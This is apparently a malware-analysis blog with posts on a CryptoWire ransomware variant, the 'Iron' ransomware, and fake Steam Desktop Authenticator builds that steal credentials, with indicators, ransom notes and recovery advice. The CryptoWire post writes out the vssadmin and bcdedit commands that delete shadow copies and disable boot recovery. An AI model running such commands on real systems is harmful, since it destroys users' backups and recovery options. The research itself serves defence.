In this blog post, we'll briefly analyse another, recent, CryptoWire sample.

Analysis

This CryptoWire variant has the following properties:


Figure 1 - Typical CryptoWire layout

The message reads:

The only way you can recover your files is to buy a decryption key
The payment method is: Bitcoins. The price is: $1000 = Bitcoins
When you are ready, send a message by email to wlojul@secmail.pro
We will send you our BTC wallet for the transfer
After confirmation we will send you the decryption key
Click on the 'Buy decryption key' button.

CryptoWire will encrypt files with the following extensions (282 total):

3fr, 7z, EPS, M3U, M4A, PEM, PSD, WPS, XLSX, abw, accdb, afsnit, ai, aif, arc, arw, as, asc, asd, asf, ashdisc, asm, asp, aspx, asx, aup, avi, bay, bbb, bdb, bibtex, bkf, bmp, bmp, bpn, btd, bz2, c, cdi, cdr, cer, cert, cfm, cgi, cpio, cpp, cr2, crt, crw, csr, cue, dbf, dcr, dds, dem, der, dmg, dng, doc, docm, docx, dsb, dwg, dxf, dxg, eddx, edoc, eml, emlx, eps, epub, erf, fdf, ffu, flv, gam, gcode, gho, gpx, gz, h, hbk, hdd, hds, himmel, hpp, ics, idml, iff, img, indd, ipd, iso, isz, iwa, j2k, jp2, jpeg, jpf, jpg, jpm, jpx, jsp, jspa, jspx, jst, kdc, key, keynote, kml, kmz, lic, lwp, lzma, m4v, max, mbox, md2, mdb, mdbackup, mddata, mdf, mdinfo, mds, mef, mid, mov, mp3, mp4, mpa, mpb, mpeg, mpg, mpj, mpp, mrw, msg, mso, nba, nbf, nbi, nbu, nbz, nco, nef, nes, note, nrg, nri, nrw, odb, odc, odm, odp, ods, odt, ogg, one, orf, ova, ovf, oxps, p12, p2i, p65, p7, p7b, p7c, pages, pct, pdd, pdf, pef, pem, pfx, php, php3, php4, php5, phps, phpx, phpxx, phtm, phtml, pl, plist, pmd, pmx, png, ppdf, pps, ppsm, ppsx, ppt, pptm, pptx, ps, psd, pspimage, pst, ptx, pub, pvm, qcn, qcow, qcow2, qt, r3d, ra, raf, rar, raw, rm, rtf, rtf, rw2, rwl, s, sbf, set, skb, slf, sme, smm, snp, spb, sql, sr2, srf, srt, srw, ssc, ssi, stg, stl, svg, swf, sxw, syncdb, tager, tc, tex, tga, thm, tif, tiff, til, toast, torrent, txt, vbk, vcard, vcd, vcf, vdi, vfs4, vhd, vhdx, vmdk, vob, vsdx, wav, wb2, wbk, wbverify, webm, wmb, wpb, wpd, wps, x3f, xdw, xlk, xlr, xls, xlsb, xlsm, xlsx, xz, yuv, zip, zipx

It will also encrypt files, regardless of extension, in certain folders such as Desktop.

Files are encrypted with AES, and prepends extension of encrypted files with ".encrypted.". For example: Tulips.encrypted.png.

CryptoWire will delete Shadow Volume Copies and disable BCDEdit by executing these commands:
vssadmin.exe Delete Shadows /All /Quietbcdedit /set {default} recoveryenabled Nobcdedit /set {default} bootstatuspolicy ignoreallfailures

It will additionally create a scheduled task for persistence.

You can decrypt files for this specific variant with the following Decryption Key:
VgjRPoOM0oa92_jId!/wkMeW6,guuSe



Conclusion

Some ransomware variants simply do not die, one example of these appears to be CryptoWire. If you have been hit by this particular strain, use the decryption key as instructed above, and your files will be decrypted.

Make sure to read the dedicated page on ransomware prevention to prevent CryptoWire or any other "open-source" ransomware to infect your machine, and encrypt your files.


IOCs

Tuesday, April 10, 2018

Maktub ransomware: possibly rebranded as Iron



In this post, we'll take a quick look at a possible new ransomware variant, which appears to be the latest version of Maktub ransomware, also known as Maktub Locker.

Hasherazade from Malwarebytes has, as per usual, written an excellent blog on Maktub Locker in the past, if you wish to learn more: Maktub Locker – Beautiful And Dangerous

Update - 2018-04-14: Read the conclusion at the end of this post to learn more about how Iron ransomware mimicked at least three different ransomware families.


Analysis

A file was discovered, named ado64 with the following properties:



Maktub typically sports a graphically appealing lock screen, as well as payment portal, and promotes "Maktub Locker" extensively. 


Interestingly enough, this variant has removed all references to Maktub. The figures below represent lock screen and payment portal, when stepping through.


Figure 1 - Lock screen/warning

Email address: recoverfile@mail2tor.com
Bitcoin address: 1cimKyzS64PRNEiG89iFU3qzckVuEQuUj
Ransomware note: !HELP_YOUR_FILES.HTML


Figure 2 - Payment portal

Figure 3 - Hello! (after entering the personal ID)
The text reads:

We’re very sorry that all of your personal files have been encrypted :( But there are good news – they aren’t gone, you still have the opportunity to restore them! Statistically, the lifespan of a hard-drive is anywhere from 3 to 5 years. If you don’t make copies of important information, you could lose everything! Just imagine! In order to receive the program that will decrypt all of your files, you will need to pay a certain amount. But let’s start with something else…


Figure 4 - "We are not lying"


Figure 5 - Ransomware cost


Figure 6 - Where to pay


Figure 7- Last but not least: how to buy Bitcoins


In previous versions of Maktub, you could decrypt 1 file for free, however, with the current rebranding, this option has disappeared. Since the ransomware has rebranded, we'll name it "Iron" or "Iron ransomware", due to the name of the decrypter, IronUnlocker.

 Iron encrypts a whopping total of 374 extensions, these are as follows:

.001, .1cd, .3fr, .8ba, .8bc, .8be, .8bf, .8bi8, .8bl, .8bs, .8bx, .8by, .8li, .DayZProfile, .abk, .ade, .adpb, .adr, .aip, .amxx, .ape, .api, .apk, .arch00, .aro, .arw, .asa, .ascx, .ashx, .asmx, .asp, .asr, .asset, .bar, .bay, .bc6, .bc7, .bi8, .bic, .big, .bin, .bkf, .bkp, .blob, .blp, .bml, .bp2, .bp3, .bpl, .bsa, .bsp, .cab, .cap, .cas, .ccd, .cch, .cer, .cfg, .cfr, .cgf, .chk, .class, .clr, .cms, .cod, .col, .con, .cpp, .cr2, .crt, .crw, .csi, .cso, .css, .csv, .ctt, .cty, .cwf, .d3dbsp, .dal, .dap, .das, .db0, .dbb, .dbf, .dbx, .dcp, .dcr, .dcu, .ddc, .ddcx, .dem, .der, .desc, .dev, .dex, .dic, .dif, .dii, .disk, .dmg, .dmp, .dob, .dox, .dpk, .dpl, .dpr, .dsk, .dsp, .dvd, .dxg, .elf, .epk, .eql, .erf, .esm, .f90, .fcd, .fla, .flp, .for, .forge, .fos, .fpk, .fpp, .fsh, .gam, .gdb, .gho, .grf, .h3m, .h4r, .hkdb, .hkx, .hplg, .htm, .html, .hvpl, .ibank, .icxs, .img, .indd, .ipa, .iso, .isu, .isz, .itdb, .itl, .itm, .iwd, .iwi, .jar, .jav, .java, .jpe, .kdc, .kmz, .layout, .lbf, .lbi, .lcd, .lcf, .ldb, .ldf, .lgp, .litemod, .lng, .lrf, .ltm, .ltx, .lvl, .m3u, .m4a, .map, .mbx, .mcd, .mcgame, .mcmeta, .md0, .md1, .md2, .md3, .mdb, .mdbackup, .mddata, .mdf, .mdl, .mdn, .mds, .mef, .menu, .mm6, .mm7, .mm8, .moz, .mpq, .mpqge, .mrwref, .mxp, .ncf, .nds, .nrg, .nri, .nrw, .ntl, .odb, .odf, .odp, .ods, .odt, .orf, .owl, .oxt, .p12, .p7b, .p7c, .pab, .pbp, .pef, .pem, .pfx, .pkb, .pkh, .pkpass, .plc, .pli, .pot, .potm, .potx, .ppf, .ppsm, .pptm, .prc, .prt, .psa, .pst, .ptx, .pwf, .pxp, .qbb, .qdf, .qel, .qic, .qpx, .qtr, .r3d, .raf, .re4, .res, .rgn, .rgss3a, .rim, .rofl, .rrt, .rsrc, .rsw, .rte, .rw2, .rwl, .sad, .sav, .sc2save, .scm, .scx, .sdb, .sdc, .sds, .sdt, .shw, .sid, .sidd, .sidn, .sie, .sis, .slm, .slt, .snp, .snx, .spr, .sql, .sr2, .srf, .srw, .std, .stt, .sud, .sum, .svg, .svr, .swd, .syncdb, .t01, .t03, .t05, .t12, .t13, .tar.gz, .tax, .tcx, .thmx, .tlz, .tor, .torrent, .tpu, .tpx, .ttarch2, .tur, .txd, .txf, .uax, .udf, .umx, .unity3d, .unr, .uop, .upk, .upoi, .url, .usa, .usx, .ut2, .ut3, .utc, .utx, .uvx, .uxx, .vcd, .vdf, .ver, .vfs0, .vhd, .vmf, .vmt, .vpk, .vpp_pc, .vsi, .vtf, .w3g, .w3x, .wad, .war, .wb2, .wdgt, .wks, .wmdb, .wmo, .wotreplay, .wpd, .wpl, .wps, .wtd, .wtf, .x3f, .xla, .xlam, .xlc, .xlk, .xll, .xlm, .xlr, .xlsb, .xltx, .xlv, .xlwx, .xpi, .xpt, .yab, .yps, .z02, .z04, .zap, .zipx, .zoo, .ztmp

Iron doesn't spare gamers, as it will also encrypt Steam files (.vdf), World of Tanks replays (.wotreplay). DayZ (.DayZProfile), and possibly others.

Folders containing the following words are exempt from encryption:

Windows, windows, Microsoft, Mozilla Firefox, Opera, Internet Explorer, Temp, Local, LocalLow, $Recycle.bin, boot, i386, st_v2, intel, recycle, 360rec, 360sec, 360sand, internet explorer, msbuild

Interestingly enough, 360sec, 360rec, and 360sand is developed by Qihoo 360, an internet security company based in China, and is an antivirus (360 Total Security is one example).  This, as well as the fact that the Iron ransomware also includes resources in Chinese Simplified, alludes this variant may be developed by a Chinese speaker.

The ransomware will additionally delete the original files after encryption, and will also empty the recycle bin. It does not remove Shadow Volume Copies or Restore Points.

Iron embeds a public RSA key as follows:

-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAIOYf0KqEOGaxdLmMLypMyZ1q/K+r6DuCdYpwZfs0EPug3ye7UjZa0QMOP5/OySr
l/uBJtkmEghEtUEo/zfcBJ7332O1ytJ7/ebIUv+ZcN1Rlswzdv7uZxYRC8u1HvrgBvAz4Atb
zx+FbFVqLB0gGixYTqbjqANq21AR6r91+oJtAgMBAAE=
-----END RSA PUBLIC KEY-----

The Iron ransomware will determine the user's WAN IP and also send a POST request to its C2 server, http://y5mogzal2w25p6bn[.]ml.

Figure 8 - Traffic

It appears Iron will create a new, random GUID, and use it as a mutex, in order to not infect the machine twice. The following values will be sent to the C2:

  • Encryption key;
  • Randk (seed);
  • GUID (mutex);
  • Start (whether ransom successfully started);
  • Market (unknown).
The C2 server will then respond with another set of values, and generate a unique Bitcoin address, which means that victims may pay twice to different addresses. Rule of thumb: do not pay the ransomware.

Of note is an email address in the response: oldblackjack@outlook.com.

Iron will additionally save certain values, such as the GUID, in HKCU\Software\CryptoA:

Figure 9 - Registry values (click to enhance)

Encrypted files will have the .encry extension appended. It is likely not possible to restore data.


Conclusion

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example.

We know the Iron ransomware has mimicked at least three ransomware families:
  • Maktub (payment portal design)
  • DMA Locker (Iron Unlocker, decryption tool)
  • Satan (exclusion list)
From the screenshots above, it is obvious the portal design has been copy pasted from Maktub.

As for copying from DMA Locker, see this tweet:

And, last but not least, it uses the exact same exclusion list (folders and its content that will not be encrypted) from Satan:

Code is indeed quite unique, and Iron seems like a totally new ransomware, and may even be a "side project" by the creators of the Satan ransomware. However, at this point, there is no sure way of telling who's behind Iron. Time may be able to tell.

Decryption is impossible without the author's private key, however, it is possible to restore files using Shadow Volume Copies, or alternatively Shadow Explorer. If that doesn't work, you may try using a data recovery program such as PhotoRec or Recuva.

Take note of ID ransomware, if a decryptor should ever become available. Additionally, it may identify other families of ransomware if you are ever affected. Another service to take note of in this regard is NoMoreRansom.

For preventing ransomware, have a look here:

In short: create backups!

Questions, comments, feedback or help: leave a comment below or contact me on Twitter.


Indicators:



Sunday, February 25, 2018

Fake Steam Desktop Authenticator steals account details


In this blog post, we'll have a quick look at fake versions of Steam Desktop Authenticator (SDA), which is a "desktop implementation of Steam's mobile authenticator app".

Lava from SteamRep brought me to the attention of a fake version of SDA floating around, which may be attempting to steal your Steam credentials.

Indeed, there are some fake versions - we'll discuss two of them briefly.


Fake version #1

The first fake version can be found on steamdesktopauthenticator[.]com. Note that the site is live, and appears at the top of Google Search when searching for "Steam Desktop Authenticator".

Figure 1 - Fake SDA website













When downloading the ZIP file from the website, and unzipping it, we notice the exact same structure as you would when fetching the legitimate package - with one difference: the main executable has been modified.

File details:
Name: Steam Desktop Authenticator.exe
MD5 hash: 872abdc5cf5063098c87d30a8fcd8414
File size: 1,4446 KB
Version: v1.0.9.1

Note that the current and real SDA version is 1.0.8.1, and its original file size is 1,444 KB - 2 bytes of difference can mean a lot. Figures 2 and 3 below show the differences.



Figure 2 - Sending credentials to steamdesktopauthenticator[.]com

















Figure 3 - Sending credentials to steamdesktop[.]com






















Indeed, it appears it also attempts to upload to another website - while digging a bit further, we can also observe an email address associated with the domains: mark.korolev.1990@bk[.]ru

While I was unable to immediately find a malicious fork with any of these domains, Mark has likely forked the original repository, made the changes - then deleted the fork. Another possibility is that the source was downloaded, and simply modified. However, it is more than likely the former option.



Fake version #2

This fake version was discovered while attempting to locate Mark's fork from the fake version above - here, we have indeed a malicious fork from GitHub, where trades/market actions appear to be intercepted, as shown in Figure 4 below.

Figure 4 - Malicious SDA fork (click to enhance)











Currently, when trying to access the malicious site lightalex[.]ru with a bogus token, a simple "OK" is returned - it is currently unknown whether market modifications would be successful.

Interestingly enough, when digging deeper on this particular domain, which is currently hosted on 91.227.16[.]31, it had hosted other SteamStealer malware before, for example cs-strike[.]ru and csgo-knives[.]net.

The malicious fork has been reported to GitHub.



Disinfection

Neither fake SDA versions reported here appear to implement any persistence, in other words; remove the fake version by deleting it, and perform a scan with your current antivirus and a scan with another, online antivirus, or with Malwarebytes for example.

Additionally, de-authorize all other devices by clicking here and select "Deauthorize all other devices".

Now, change your password for Steam, and enable Steam Guard if you have not yet done so.



Prevention

Prevention advise is the usual, extended advise is provided in a previous blog post here.

You may also want to take a look at SteamRep's Safe Trading Practices here.

Always download any software from the original source - this means the vendor's website, or in this case, the official SDA repository on GitHub:
https://github.com/Jessecar96/SteamDesktopAuthenticator



Conclusion

SteamStealer malware is alive and well, as seen from my January blog post. This is again another form of attempting to scam users, and variations will continue to emerge.

Follow the prevention tips above or here to stay safe.


Indicators